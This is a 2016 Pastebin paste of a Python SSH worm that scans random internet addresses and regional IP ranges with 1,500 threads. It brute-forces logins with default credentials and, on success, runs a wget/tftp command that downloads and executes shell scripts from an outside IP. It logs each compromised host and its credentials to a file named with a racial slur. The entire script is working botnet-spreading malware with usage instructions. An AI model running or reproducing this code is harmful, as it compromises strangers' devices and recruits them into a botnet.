Guest User

Untitled

a guest
Jul 13th, 2016
49
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.94 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. import threading, paramiko, random, socket, time, sys
  4.  
  5. paramiko.util.log_to_file("/dev/null")
  6.  
  7. cmd= ("cd /tmp || cd /var/run;wget http://5.154.191.152/bin.sh;sh bin.sh;rm -rf bin.sh;tftp -r bint1.sh -g 5.154.191.152;sh bint1.sh; tftp 5.154.191.152 -c get bint2.sh; sh bint2.sh; rm -rf bint1.sh bint2.sh bin.sh")
  8. blacklist = [
  9. '127'
  10. ]
  11.  
  12. passwords = [
  13. "admin:admin"
  14. ]
  15.  
  16. if sys.argv[4] == '1':
  17. passwords = ["root:root"]
  18. if sys.argv[4] == '2':
  19. passwords = ["guest:guest"]
  20. if sys.argv[4] == '3':
  21. passwords = ["admin:1234"]
  22. if sys.argv[4] == '4':
  23. passwords = ["admin:admin"]
  24.  
  25. ascii = '\x1b[1;28m'
  26. ascii +=' _________________0 \r\n'#
  27. ascii +=' ________________00 \r\n'#
  28. ascii +=' _______________0000 \r\n'#
  29. ascii +=' ___0__________000000___________0 \r\n'#
  30. ascii +=' ___00_________000000___________0 \r\n'#
  31. ascii +=' ____0000______000000__________00 \r\n'#
  32. ascii +=' ____000000____0000000_____00000 \r\n'#
  33. ascii +=' _0_____0000000_000000_00000000___0 \r\n'#
  34. ascii +=' 00______000000_00000_0000000____00 \r\n'#
  35. ascii +=' 0000_____000000_000_000000____0000 \r\n'#
  36. ascii +=' _000000000__0000_0_000_0_000000000 \r\n'#
  37. ascii +=' ____000000000__0_0_0_00000000000 \r\n'#
  38. ascii +=' ________000000000000000000000 \r\n'#
  39. ascii +=' ______________000_0_0000 \r\n'#
  40. ascii +=' ____________00000_0__00000 \r\n'#
  41. ascii +=' __________00_______0_______00 \r\n'#
  42. ascii +=' ____________________0 \r\n'#
  43. ascii +=' ~ [enjoy your boatz ] ~ \r\n'#
  44. ascii +=' ~ [ @nathansdaddy ] ~ \r\n'#
  45. ascii +='\x1b[36m'##############################################################################
  46.  
  47. print ''
  48. print ''
  49. print ''
  50. print ''
  51. print ''
  52. print ''
  53. print ''
  54. print ''
  55. print ''
  56. print ''
  57. print ''
  58. print ''
  59. print ''
  60. print ''
  61. print ''
  62. print ''
  63. print ''
  64. print ''
  65. print ''
  66. print ''
  67. print ''
  68. print ''
  69. print ''
  70. print ''
  71. print ''
  72. print ''
  73. print ''
  74. print ''
  75. print ''
  76. print ''
  77. print ''
  78. print ''
  79. print ''
  80. print ''
  81. print ''
  82. print ''
  83. print ''
  84. print ''
  85. print ''
  86. print ''
  87. print ''
  88. print ''
  89. print ''
  90. print ''
  91. print ''
  92. print ''
  93. print ''
  94. print ''
  95. print ascii
  96. print '\x1b[36m *Make Sure You Changed The ulimit*\x1b[0m'
  97. print ''
  98. print '\x1b[36m Usage: python file.py 500 Type Pass\x1b[0m'
  99. print '\x1b[36m Type: LUCKY, LUCKY2, A or B\x1b[0m'
  100. print '\x1b[36m Pass: 1, 2, 3, perl, all\x1b[0m'
  101. print '\x1b[36m Scanner Started\x1b[0m'
  102. print ''
  103. print ''
  104.  
  105. ipclassinfo = sys.argv[2]
  106. if ipclassinfo == "A":
  107. ip1 = sys.argv[3]
  108. elif ipclassinfo == "B":
  109. ip1 = sys.argv[3].split(".")[0]
  110. ip2 = sys.argv[3].split(".")[1]
  111. elif ipclassinfo == "C":
  112. ips = sys.argv[3].split(".")
  113. num=0
  114. for ip in ips:
  115. num=num+1
  116. if num == 1:
  117. ip1 = ip
  118. elif num == 2:
  119. ip2 = ip
  120. elif num == 3:
  121. ip3 = ip
  122. class sshscanner(threading.Thread):
  123. global passwords
  124. global ipclassinfo
  125. if ipclassinfo == "A":
  126. global ip1
  127. elif ipclassinfo == "B":
  128. global ip1
  129. global ip2
  130. elif ipclassinfo == "C":
  131. global ip1
  132. global ip2
  133. global ip3
  134. def run(self):
  135. while 1:
  136. try:
  137. while 1:
  138. thisipisbad='no'
  139. if ipclassinfo == "A":
  140. self.host = ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  141. elif ipclassinfo == "B":
  142. self.host = ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  143. elif ipclassinfo == "C":
  144. self.host = ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
  145. elif ipclassinfo == "BRAZIL":
  146. br = ["179.105","179.152","189.29","189.32","189.33","189.34","189.35","189.39","189.4","189.54","189.55","189.60","189.61","189.62","189.63","189.126"]
  147. self.host = random.choice(br)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  148. elif ipclassinfo == "ER":
  149. yeet = ["122","131","161","37","186","187","31","188","201","2","200"]
  150. self.host = random.choice(yeet)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  151. elif ipclassinfo == "LUCKY":
  152. lucky = ["125.27","101.109","113.53","118.173","122.170","122.180","46.62","5.78","101.108","1.20","125.25","125.26","182.52","118.172","118.174","118.175","125.24"]
  153. self.host = random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  154. elif ipclassinfo == "LUCKY2":
  155. lucky2 = [ "122.3","122.52","122.54","119.93","124.105","124.105" ]
  156. self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  157. elif ipclassinfo == "LUCKY3":
  158. lucky2 = [ "103.20","103.30","103.47","103.57" ]
  159. self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  160. elif ipclassinfo == "RAND":
  161. self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  162. elif ipclassinfo == "INTERNET":
  163. lol = ["1"]
  164. self.host = random.choice(lol)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  165. else:
  166. self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  167. for badip in blacklist:
  168. if badip in self.host:
  169. thisipisbad='yes'
  170. if thisipisbad=='no':
  171. break
  172. username='root'
  173. password=""
  174. port = 22
  175. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  176. s.settimeout(3)
  177. s.connect((self.host, port))
  178. s.close()
  179. ssh = paramiko.SSHClient()
  180. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  181. dobreak=False
  182. for passwd in passwords:
  183. if ":n/a" in passwd:
  184. password=""
  185. else:
  186. password=passwd.split(":")[1]
  187. if "n/a:" in passwd:
  188. username=""
  189. else:
  190. username=passwd.split(":")[0]
  191. try:
  192. ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
  193. dobreak=True
  194. break
  195. except:
  196. pass
  197. if True == dobreak:
  198. break
  199. badserver=True
  200. stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  201. output = stdout.read()
  202. if "inet addr" in output:
  203. badserver=False
  204. if badserver == False:
  205. print '\x1b[31mSMOKING --> \x1b[32m'+self.host+'|'+username+'|'+password
  206. ssh.exec_command(""+cmd+"")
  207. scanned = open("nigga.txt", "a").write(username + ":" + password + ":" + self.host + "\n")
  208. time.sleep(15)
  209. ssh.close()
  210. except:
  211. pass
  212.  
  213. for x in range(0,1500):
  214. try:
  215. t = sshscanner()
  216. t.start()
  217. except:
  218. pass
Add Comment
Please, Sign In to add comment